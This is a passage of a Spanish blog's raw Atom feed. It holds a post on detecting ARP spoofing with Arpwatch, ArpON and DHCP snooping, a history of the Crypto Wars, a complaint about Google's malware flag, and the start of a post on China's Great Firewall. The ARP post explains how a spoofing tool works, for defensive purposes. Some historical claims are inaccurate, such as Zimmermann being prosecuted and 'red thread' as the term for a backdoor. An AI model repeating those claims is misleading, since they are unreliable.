/&gt;&lt;blockquote&gt;PC-Alice:~# &lt;span style="font-weight: bold;"&gt;arp -i eth0 -a&lt;/span&gt;&lt;br /&gt;? (192.168.0.1) at CA:88:E3:51:83:57 [ether] on eth0&lt;br /&gt;? (192.168.0.3) at CA:88:E3:51:83:57 [ether] on eth0&lt;/blockquote&gt;&lt;br /&gt;Como se puede ver, desde el punto de vista de Alice, no sólo ha cambiado la MAC del enrutador (192.168.0.1) sino que además ahora parece coincidir con la MAC de un PC (192.168.0.3), lo que es señal inequívoca de que se está produciendo un ataque de ARP Spoofing que intenta desviar el tráfico de Alice destinado al enrutador hacia un PC intruso. Cuando este PC finaliza Ettercap, este se encarga de restablecer las tablas de ARP a su estado correcto. Lo que deja a Alice de la siguiente manera:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;PC-Alice:~# &lt;span style="font-weight: bold;"&gt;arp -i eth0 -a&lt;/span&gt;&lt;br /&gt;? (192.168.0.1) at EA:0E:85:D7:58:04 [ether] on eth0&lt;br /&gt;? (192.168.0.3) at CA:88:E3:51:83:57 [ether] on eth0&lt;/blockquote&gt;&lt;br /&gt;Como se puede ver, el ataque deja huellas tanto durante su transcurso como durante un corto tiempo tras él (hasta la expiración de la entrada en la tabla de ARP). Esto se debe a que el intruso debe interactuar con sus víctimas, antes de iniciar el ataque, para recopilar las MACs de dichos equipos con el fin de reparar las tablas de ARP tras él. Se puede estudiar la estructura interna de un programa similar a Ettercap en el mencionado &lt;a href="http://danteslab.blogspot.com/2008/12/escuchas-en-redes-conmutadas.html"&gt;artículo&lt;/a&gt; sobre escuchas en redes conmutadas. En ese programa, el Arpoison mencionado antes, la función que deja la huella "incriminatoria" en las tablas de ARP es la función &lt;span style="font-style: italic;"&gt;gatherData()&lt;/span&gt;, ejecutada antes del ataque mismo. Como esta función debe preguntar a Alice y al Router por sus MAC mediante una llamada de ARP (representada en el código fuente del artículo por la llamada a la función &lt;span style="font-style: italic;"&gt;scapy.getmacbyip()&lt;/span&gt; dentro de &lt;span style="font-style: italic;"&gt;gatherData()&lt;/span&gt;), es el momento en el que el atacante PC-Sniffer "toca" directamente a sus víctimas dejando las huellas mencionadas. Se podría plantear la pregunta de si el atacante podría renunciar a ejecutar esta función para minimizar su huella, pero lo cierto es que no, porque si no averigua las MACs originales de los equipos a espiar no podrá lanzar el ataque ni reconstruir las tablas de ARP tras él.&lt;br /&gt;&lt;br /&gt;Visto lo anterior, es evidente que son necesarias herramientas automatizadas que nos permitan defender las tablas de ARP de los equipos críticos que queramos salvaguardar de este tipo de ataques.&lt;br /&gt;&lt;br /&gt;Una de las herramientas clásicas a este respecto es &lt;a href="http://www-nrg.ee.lbl.gov/"&gt;Arpwatch&lt;/a&gt;. Esta herramienta monitoriza la tabla de ARP y alerta por correo electrónico al administrador cuando se produce el cambio de una correspondencia IP-MAC. Lo ideal es instalar dicha herramienta en todas las estaciones de trabajo Linux de la red. En redes con direccionamiento estático, si se tiene la certeza de que no se ha producido el recambio de la tarjeta de red de ningún ordenador, la llegada de un correo de Arpwatch suele ser alerta inequívoca de que se está produciendo un ataque de ARP Spoofing. En redes con direccionamiento dinámico (DHCP), los pares IP-MAC cambian con cierta frecuencia, por lo que puede ser complicado monitorizar todos los cambios, aunque lo que sí se puede vigilar es el registro IP-MAC de la puerta de enlace por defecto de cada red, la cual debería permanecer inalterable en las tablas de ARP de todas las estaciones de trabajo.&lt;br /&gt;&lt;br /&gt;Otra opción, algo más compleja pero con más posibilidades es &lt;a href="http://arpon.sourceforge.net/"&gt;ArpON&lt;/a&gt;. A diferencia de Arpwatch, ArpON no se limita a alertar al administrador sino que reacciona para bloquear el ataque. ArpON tiene dos modos de funcionamiento, estático y dinámico. En modo estático (SARPI), ArpON toma nota al arrancar de las entradas de la tabla de ARP, guardando esta información en una caché alternativa. A partir de ahí, ArpON sólo permite que se tramiten las peticiones y respuestas ARP de pares IP-MAC que no entren en contradicción con la información previa de su caché. El modo dinámico (DARPI) es similar, pero permite que la caché de ArpON vaya incorporando nuevos pares IP-MAC desconocidos en el momento de su arranque.&lt;br /&gt;&lt;br /&gt;En redes con DHCP se puede optar también por activar un sistema de &lt;a href="http://en.wikipedia.org/wiki/DHCP_snooping"&gt;DHCP Snooping&lt;/a&gt;. Aparte de evitar que aparezcan servidores DHCP "furtivos", este sistema mantiene un registro de las MACs asociadas a las IPs concedidas y los puertos de los conmutadores donde se encuentran estas MACs. Con esta información, el sistema monitoriza los intercambios de ARP que se producen en sus puertos y si detecta un paquete ARP cuyo origen a nivel IP no se corresponde con la MAC registrada lo bloquea para impedir el envenenamiento. Esta opción se encuentra ampliamente disponible, por ejemplo en los equipos de Cisco donde recibe el nombre de &lt;a href="http://www.cisco.com/en/US/docs/switches/lan/catalyst3560/software/release/12.2_20_se/configuration/guide/swdynarp.pdf"&gt;Dynamic ARP Inspection&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-4724693317997416761?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/GscNGul_CcoHZP62nATMDq0Nu-A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GscNGul_CcoHZP62nATMDq0Nu-A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/GscNGul_CcoHZP62nATMDq0Nu-A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/GscNGul_CcoHZP62nATMDq0Nu-A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/hHzKHiUmySA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/4724693317997416761/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=4724693317997416761" title="1 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/4724693317997416761?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/4724693317997416761?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/hHzKHiUmySA/evitando-las-escuchas-en-redes.html" title="Evitando las escuchas en redes conmutadas" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_czXkQpCMagk/ScTZUUxknfI/AAAAAAAAAKw/Wo6LTS7A5W0/s72-c/Arquitectura_correcta.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2009/03/evitando-las-escuchas-en-redes.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IMSX4ycCp7ImA9WxVXEEw.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-8537001283042451690</id><published>2009-02-07T13:00:00.002+01:00</published><updated>2009-02-07T13:59:48.098+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-07T13:59:48.098+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="libertad de expresión" /><category scheme="http://www.blogger.com/atom/ns#" term="criptografía" /><category scheme="http://www.blogger.com/atom/ns#" term="privacidad" /><title>Las Crypto Guerras</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SYRUwk3SXHI/AAAAAAAAAKA/XsfpW7z7opQ/s1600-h/1993_02.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 167px; height: 198px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SYRUwk3SXHI/AAAAAAAAAKA/XsfpW7z7opQ/s400/1993_02.jpg" alt="" id="BLOGGER_PHOTO_ID_5297452255200566386" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Las &lt;span style="font-style: italic;"&gt;Crypto Wars&lt;/span&gt; o &lt;span style="font-style: italic;"&gt;Crypto Guerras&lt;/span&gt; es como se conoce al conflicto desarrollado desde los años 70 entre los gobiernos y los grupos de defensa de las libertades civiles acerca del uso de técnicas criptográficas por los particulares.&lt;br /&gt;&lt;br /&gt;Todo comenzó cuando en los años 70 el gobierno americano empezó a darle a la comercialización y exportación del software y de los algoritmos criptográficos un tratamiento equivalente al del armamento. La medida se situaba dentro del contexto del punto más crudo de la Guerra Fría, cuando la Inteligencia de ambos lados del Telón de Acero movilizaba ingentes recursos humanos, económicos y materiales para averiguar lo que sabía el enemigo y, a la vez, evitar que este hiciese lo mismo.&lt;br /&gt;&lt;br /&gt;Por tanto, resultaba crucial reforzar la criptografía que protegía la información gubernamental. Pero a la vez, había que asegurarse de que en caso de que se produjese una fuga de información o una conjura interna esta podría ser detectada por los servicios de contrainteligencia por lo que había que evitar la difusión de una criptografía fuerte entre los particulares. Esta dicotomía de intereses es la razón de la profunda implicación de los gobiernos, a través de Agencias y de los departamentos de Defensa, en la investigación y el desarrollo de técnicas criptográficas con el fin de ajustar dichos desarrollos a sus intereses concretos y controlar en lo posible su difusión a los ciudadanos.&lt;br /&gt;&lt;br /&gt;Dado que es muy difícil mantener en secreto un algoritmo criptográfico, los gobiernos han optado por tres vías de control:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Prohibir el uso de técnicas criptográficas.&lt;/li&gt;&lt;li&gt;Limitar la longitud de las claves utilizadas a un valor demasiado difícil de romper por un particular pero vulnerable a los sistemas informáticos gubernamentales.&lt;/li&gt;&lt;li&gt;Obligar al uso de sistemas y algoritmos con una puerta trasera (en la literatura anglosajona &lt;span style="font-style: italic;"&gt;red thread&lt;/span&gt;) accesible por el Gobierno para descifrar el tráfico.&lt;/li&gt;&lt;/ul&gt;El uso de la primera vía ("prohibir el uso de técnicas criptográficas") apenas se da en la actualidad. Al principio, este control no fue demasiado difícil ya que la informática que se daba fuera del sector militar y universitario era muy escasa. El sector militar siempre ha obedecido órdenes y el universitario recibe importantes subvenciones del militar por lo que en general se ajustó a las restricciones gubernamentales. Los problemas comenzaron a surgir cuando los hogares empezaron a adquirir ordenadores, y más importante: a unirlos a través de Internet. En ese momento empieza a cobrar fuerza la reivindicación de los ciudadanos de asegurar la confidencialidad de sus datos mediante cifrado. Además, esas reivindicaciones no tardaron en ser apoyadas por sectores económicos que veían en Internet un medio para establecer nuevas vías de negocio que debían ser lógicamente protegidas mediante cifrado. Toda esa presión conjunta ha obligado a la mayor parte de los gobiernos a aceptar el uso de técnicas criptográficas por parte de los ciudadanos.&lt;br /&gt;&lt;br /&gt;Un ejemplo de la segunda vía ("limitar la longitud de las claves utilizadas") se dió en la definición del algoritmo &lt;a href="http://es.wikipedia.org/wiki/Data_Encryption_Standard"&gt;DES&lt;/a&gt;. En los años 70, aún se utilizaban cifradores mecanicos de tipo rotor (meras evoluciones del clásico &lt;a href="http://es.wikipedia.org/wiki/Enigma_%28m%C3%A1quina%29"&gt;Enigma&lt;/a&gt; alemán). La Agencia de Seguridad Nacional (NSA) estadounidense podía descifrar sin problemas este tipo de tráfico. Sin embargo el sector bancario presionaba para obtener un algoritmo de cifrado moderno que permitiese asegurar sus transmisiones de datos. La NSA temía perder el control que tenía sobre las comunicaciones si se generalizaba el uso de un algoritmo realmente potente por lo que se involucró directamente en el diseño del DES. Hay dos elementos que fueron duramente criticados del DES: por un lado, el fuerte secretismo que había en torno a la &lt;a href="http://es.wikipedia.org/wiki/S-caja"&gt;cajas-S&lt;/a&gt; en las que se basaba el algoritmo, y por otro, la escasa longitud de clave elegida (56 bits). Pronto se extendió el rumor de que la ocultación del diseño de las cajas-S se debía a que la NSA había instalado en ellas puertas traseras y que la longitud de la clave se había elegido corta a adrede para que los sistemas de la NSA pudiesen realizar ataques de fuerza bruta para descifrarlo. Un par de décadas más tarde parece demostrado que ambos rumores eran infundados, las cajas-S no tenían puerta trasera y la NSA carecía en ese momento del equipamiento necesario para tumbar por fuerza bruta un texto cifrado con DES (lo consiguió unos años más tarde). Lo que sí parece que ocurrió es que la NSA difundió intencionadamente ese rumor para extender la creencia de que el DES era inseguro lo que evitó su adopción por parte de gobiernos extranjeros, los cuales que siguieron utilizando máquinas de rotores... a las que la NSA pudo seguir espiando sin problemas.&lt;br /&gt;Cuando el uso de los nuevos algoritmos de cifrado comenzó a generalizarse, el gobierno de los EEUU optó por prohibir la exportación de cualquier producto que incluyese procesos criptográficos que utilizasen claves de longitud superior a los 40 bits, incluyendo además este tipo de exportaciones en la categoría de armamento y materiales peligrosos para la seguridad nacional.&lt;br /&gt;&lt;br /&gt;La tercera vía se basa en la premisa de que cualquiera que encripte datos debería darle al gobierno una copia de la clave utilizada para el cifrado, de manera que las agencias de inteligencia gubernamentales puedan descifrar el tráfico si lo consideran necesario. Un ejemplo de este enfoque se dió en 1993 cuando la administración de &lt;a href="http://es.wikipedia.org/wiki/Bill_Clinton"&gt;Bill Clinton&lt;/a&gt; propuso un estándar, denominado &lt;a href="http://en.wikipedia.org/wiki/Clipper_Chip"&gt;Clipper Chip&lt;/a&gt;, para sustituir al DES. Este estándar se basaba en un chip criptográfico que utilizaba un algoritmo clasificado, y por tanto no sujeto a una revisión pública, denominado &lt;a href="http://en.wikipedia.org/wiki/Skipjack_%28cipher%29"&gt;Skipjack&lt;/a&gt;. Este algoritmo permitía que las agencias gubernamentales pudiesen escuchar las transmisiones cifradas con el chip. La idea del gobierno era incentivar el uso de este chip entre los fabricantes de telefonía y equipos de telecomunicaciones. Sin embargo, la idea no llegó a buen puerto porque el carácter secreto del algoritmo despertó la desconfianza de los fabricantes (que luego se vió justificada al descubrirse varias vulnerabilidades en el estándar) y además la libre circulación por Internet de otras soluciones de cifrado fuerte como &lt;a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy"&gt;PGP&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Nautilus_%28secure_telephone%29"&gt;Nautilus&lt;/a&gt; y &lt;a href="http://en.wikipedia.org/wiki/PGPfone"&gt;PGPfone&lt;/a&gt; dejaba en clara desventaja al Clipper Chip. En 1996 ya era innegable el fracaso de esta iniciativa y de otras similares ante la dificultad de crear la figura de un tercero de confianza que almacenase una copia de las claves de forma segura y que no se prestase a abusos.&lt;br /&gt;&lt;br /&gt;Las respuestas a estas iniciativas gubernamentales por parte de los adalides de las libertades civiles han sido variadas. La creación del &lt;a href="http://en.wikipedia.org/wiki/Pretty_Good_Privacy"&gt;PGP&lt;/a&gt;, en 1991, puso por primera vez la criptografía asimétrica a disposición del gran público convirtiéndose en una herramienta imprescindible para las organizaciones de defensa de los derechos civiles, sobre todo en países no democráticos. Paradójicamente, su creador, &lt;a href="http://en.wikipedia.org/wiki/Phil_Zimmermann"&gt;Phil Zimmermann&lt;/a&gt;, fue procesado por tráfico de armas debido a que el PGP usaba claves de 128 bits, lo que estaba muy por encima del limite de 40 bits que fijaba la ley estadounidense sobre venta de armas, que, como mencionaba antes, integraba la exportación de algoritmos criptográficos. Sin embargo, Zimmermann había sido considerablemente astuto y había exportado PGP de una manera bastante inusual. Había imprimido el código fuente en libros editados por la editorial del &lt;a href="http://web.mit.edu/"&gt;MIT&lt;/a&gt; y eran estos los que se habían exportado fuera de los Estados Unidos. Los programadores extranjeros sólo habían tenido que arrancar las cubiertas del libro y pasar sus hojas por un escáner &lt;a href="http://es.wikipedia.org/wiki/Reconocimiento_%C3%B3ptico_de_caracteres"&gt;OCR&lt;/a&gt;, para obtener el código fuente en formato digital y listo para compilarlo con &lt;a href="http://es.wikipedia.org/wiki/GCC"&gt;GCC&lt;/a&gt;. Finalmente, los juzgados tuvieron que dejar en libertad a Zimmermann, libre de cargos, ya que aunque la exportación de software criptográfico estaba regulada por ley, la exportación de libros está sin embargo protegida por la &lt;a href="http://en.wikipedia.org/wiki/First_Amendment_to_the_United_States_Constitution"&gt;Primera Enmienda&lt;/a&gt;, de rango constitucional (y por tanto superior), que defiende la libertad de expresión y de prensa.&lt;br /&gt;&lt;br /&gt;Tras el caso Zimmermann se hizo evidente que no se podían poner puertas al campo y se relajaron los controles, de tal manera que ya sólo está prohibida la exportación de software criptográfico a los países de la &lt;span style="font-style: italic;"&gt;lista negra&lt;/span&gt; de los Estados Unidos (Irán, Corea del Norte, etc).&lt;br /&gt;&lt;br /&gt;El problema del terrorismo internacional ha devuelto a la vida el debate acerca de la necesidad de monitorizar el tráfico de voz y datos con el fin de cazar a los terroristas. El hecho de que gran parte de las infraestructuras de comunicaciones actuales se construyeran durante la vorágine de las &lt;span style="font-style: italic;"&gt;puntocom &lt;/span&gt;es la causa de que estas no se diseñasen con criptografía integrada, lo que las hubiera encarecido considerablemente y alargado sus plazos de despliegue. Esta carencia de criptografía integrada en las redes de comunicaciones facilita la labor inspectora de las agencias gubernamentales.&lt;br /&gt;&lt;br /&gt;Pero hoy en día está claro que el mercado tiende cada vez más hacia las transacciones electrónicas, y estas deben ser protegidas mediante cifrado, razón por la que el conjunto de la industria tiende a dotar (ahora sí) a sus nuevos sistemas de sistemas de cifrado integrado (por ejemplo: Skype).&lt;br /&gt;&lt;br /&gt;Ante esta situación, y dado que el dinero manda, resulta cada vez más evidente que este se inclina por el lado del libre uso de la criptografía, lo que supone la victoria en las Crypto Guerras de los defensores de los derechos civiles.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-8537001283042451690?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/-z0k2QrSJhpfhfGfIrnlvkoLy5U/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-z0k2QrSJhpfhfGfIrnlvkoLy5U/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/-z0k2QrSJhpfhfGfIrnlvkoLy5U/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/-z0k2QrSJhpfhfGfIrnlvkoLy5U/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/m8raogRwkZ8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/8537001283042451690/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=8537001283042451690" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8537001283042451690?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8537001283042451690?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/m8raogRwkZ8/las-crypto-guerras.html" title="Las Crypto Guerras" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SYRUwk3SXHI/AAAAAAAAAKA/XsfpW7z7opQ/s72-c/1993_02.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2009/02/las-crypto-guerras.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0UFRXYzfCp7ImA9WxVQFU8.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-8454797817200496808</id><published>2009-02-01T18:15:00.007+01:00</published><updated>2009-02-01T21:46:54.884+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-01T21:46:54.884+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="libertad de expresión" /><title>El poder de Google</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SYX7cm2lH9I/AAAAAAAAAKI/ZOBFQThg3Do/s1600-h/images.jpeg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 155px; height: 65px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SYX7cm2lH9I/AAAAAAAAAKI/ZOBFQThg3Do/s400/images.jpeg" alt="" id="BLOGGER_PHOTO_ID_5297917005555638226" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ayer descubrí que Google calificaba mi blog como fuente de malware. Eso significa que cada vez que alguien hacía una búsqueda en Google y danteslab estaba entre los resultados, aparecía un aviso de que este blog contenía software dañino que podía dañar el PC del visitante.&lt;br /&gt;&lt;br /&gt;Parece ser que Google se asoció hace ya tiempo con &lt;a href="http://stopbadware.org/home/index"&gt;Stopbadware.org&lt;/a&gt; para analizar webs en búsqueda de scripts ocultos que pudieran atentar contra los navegadores de los visitantes. A grandes rasgos, cuando los &lt;span style="font-style: italic;"&gt;spiders&lt;/span&gt; de Google analizan una web parsean el contenido de esa web contra las firmas de Stopbadware y si se da un positivo se marca esa web como dañina. A partir de ahí, el administrador de la web marcada debe buscar en su código HTML el script malicioso y eliminarlo. Hecho esto debe dirigirse a la página de &lt;a href="http://www.google.com/webmasters/sitemaps/?hl=es"&gt;Herramientas para Webmasters de Google &lt;/a&gt;para solicitar que se reconsidere la calificación de su web como dañina.&lt;br /&gt;&lt;br /&gt;En mi caso, por la web de las herramientas para webmasters de Google pude averiguar que la calificación de dañino para danteslab se puso el día 26 de Enero. Danteslab se basa en una plantilla de Blogger y el único contenido que puede insertar el usuario son sus comentarios a los artículos, así que las posibilidades de inyección de código son muy limitadas y, de darse, afectarían a la práctica totalidad de los blogs alojados en Blogger. Lo único que se salía del estándar eran los botones para publicar en &lt;a href="http://meneame.net/"&gt;Menéame&lt;/a&gt;, &lt;a href="http://digg.com/"&gt;Digg&lt;/a&gt;, etc que había encontrado buscando en Google, pero el código era tan sencillo que era imposible que ocultase algo maligno. Así que convencido de que todo había sido un error, un falso positivo, solicité una revisión de la calificación y finalmente me retiraron la advertencia.&lt;br /&gt;&lt;br /&gt;Todo el asunto me hizo reflexionar. Era indudable que había perdido visitantes durante la semana que había durado la advertencia y que no volverían ante el temor de dañar sus PCs. No es que me importase, este blog es un proyecto personal, meramente intelectual, en ningún momento me plantee seriamente que tuviera algún beneficio económico. Pero ¿qué le habría pasado a una web que sí dependiese de sus ingresos?. Seguramente el impacto habría sido realmente importante tanto para su reputación como para su balance económico.&lt;br /&gt;&lt;br /&gt;Ese es el poder de Google. Actualmente es la puerta de entrada principal de los usuarios a Internet. Ya no es sólo que la gente use Google para conocer las páginas que necesitan sino que hay muchos que usan Google para acceder a páginas ya conocidas. Es el caso de muchos que no memorizan las urls para acceder a páginas sino los términos que hay que poner en Google para que la página aparezca en los resultados de la búsqueda. Por tanto, si Google decide condenar al ostracismo a una página web apartándola de los resultados de sus búsquedas (o peor, acusándola de contener malware) es muy posible que esa web no se recupere nunca.&lt;br /&gt;&lt;br /&gt;Muchos dirán, ¿y por qué iba Google a hacer algo así?. Pues por los intereses que tienen todas las empresas que cotizan en Bolsa. No voy a ser tan presuntuoso como para pensar que Google quiso tomar represalias contra mi por haber hablado de su papel en el &lt;a href="http://danteslab.blogspot.com/2009/01/el-escudo-dorado.html"&gt;Escudo Dorado chino&lt;/a&gt; (aunque se haya dado la casualidad de que mi blog fuese calificado de malware justo un día después de publicar ese artículo), pero ¿y si mi blog hubiese tenido la suficiente popularidad como para ser una amenaza para los intereses de Google?. Resulta inquietante saber que Google tiene una herramienta tan poderosa como su buscador para silenciar cualquier tipo de crítica contra ella. Creo que empieza a ser el momento de que surja una alternativa real a Google... por el bien de la independencia y democracia que representa Internet.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-8454797817200496808?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/9M8I5yKEKoL3nml08FGAz5dSumA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9M8I5yKEKoL3nml08FGAz5dSumA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/9M8I5yKEKoL3nml08FGAz5dSumA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/9M8I5yKEKoL3nml08FGAz5dSumA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/snS9JeMupCM" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/8454797817200496808/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=8454797817200496808" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8454797817200496808?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/8454797817200496808?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/snS9JeMupCM/el-poder-de-google.html" title="El poder de Google" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SYX7cm2lH9I/AAAAAAAAAKI/ZOBFQThg3Do/s72-c/images.jpeg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2009/02/el-poder-de-google.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ak4MRXgyeip7ImA9WxVbFk0.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-6756089277355464098</id><published>2009-01-25T18:26:00.012+01:00</published><updated>2009-04-01T20:03:04.692+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-01T20:03:04.692+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="libertad de expresión" /><category scheme="http://www.blogger.com/atom/ns#" term="privacidad" /><title>El Escudo Dorado</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_czXkQpCMagk/SXytb-xRJGI/AAAAAAAAAJ4/o6-cZo4kVqQ/s1600-h/800px-Great_wall_of_china-mutianyu_4.JPG"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 231px; height: 173px;" src="http://3.bp.blogspot.com/_czXkQpCMagk/SXytb-xRJGI/AAAAAAAAAJ4/o6-cZo4kVqQ/s400/800px-Great_wall_of_china-mutianyu_4.JPG" alt="" id="BLOGGER_PHOTO_ID_5295297958098576482" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;El Escudo Dorado&lt;/span&gt; (the Golden Shield), también conocido como el &lt;span style="font-style: italic;"&gt;Gran Cortafuegos de China&lt;/span&gt; (the Great Firewall of China), es un gigantesco sistema informático dedicado a la represión y a la censura de todo lo que entra o sale de China a través de Internet.&lt;br /&gt;&lt;br /&gt;A finales de los 90, Internet suponía una nueva amenaza para la tiranía comunista china. La gerontocracia china era consciente de que Internet era un medio que escapaba a su control y que permitiría a los chinos acceder a contenidos sin censurar, exponer sus opiniones, organizarse y denunciar los abusos comunistas... en resumen: Internet era, para un país con 137 millones de internautas, una auténtica vía de entrada de la Democracia. Por supuesto, los jerarcas comunistas no estaban dispuestos a arriesgar su poder por lo que decidieron construir un sistema, el Escudo Dorado, capaz de controlar todos los contenidos que se intercambiasen a través de Internet desde China.&lt;br /&gt;&lt;br /&gt;Como tantas cosas en ese país, el resultado fue colosal. Su construcción se inició en 1998 y en él se invirtieron 800 millones de dólares. Comenzó a estar operativo en 2003 y no ha sido hasta el 2008 que se han dado por finalizados todos los objetivos del diseño original. Se calcula que al menos 30.000 técnicos, funcionarios y policías se ocupan de su funcionamiento.&lt;br /&gt;&lt;br /&gt;El Escudo Dorado se basa en una arquitectura multicapa en la que se van filtrando progresivamente los intercambios a través de Internet.&lt;br /&gt;&lt;br /&gt;La primera capa tiene sus sistemas situados en la región de Shenzhen, cerca de Hong Kong, y es donde se centraliza el tráfico de entrada y salida de Internet. Esta capa se encarga de filtrar en función de las direcciones IP involucradas, denegando la conexión en caso de que alguno de los extremos esté incluido en una gigantesca lista negra de direcciones IP "subversivas" (entre las que se encuentran la BBC o la Voz de América). EL DNS poisoning es otra de las herramientas que se utilizan en este nivel para entorpecer el libre acceso a páginas de contenidos no autorizados. Además de lo anterior, se inspeccionan todos los paquetes de datos intercambiados para comprobar si contienen palabras "prohibidas" como &lt;span style="font-style: 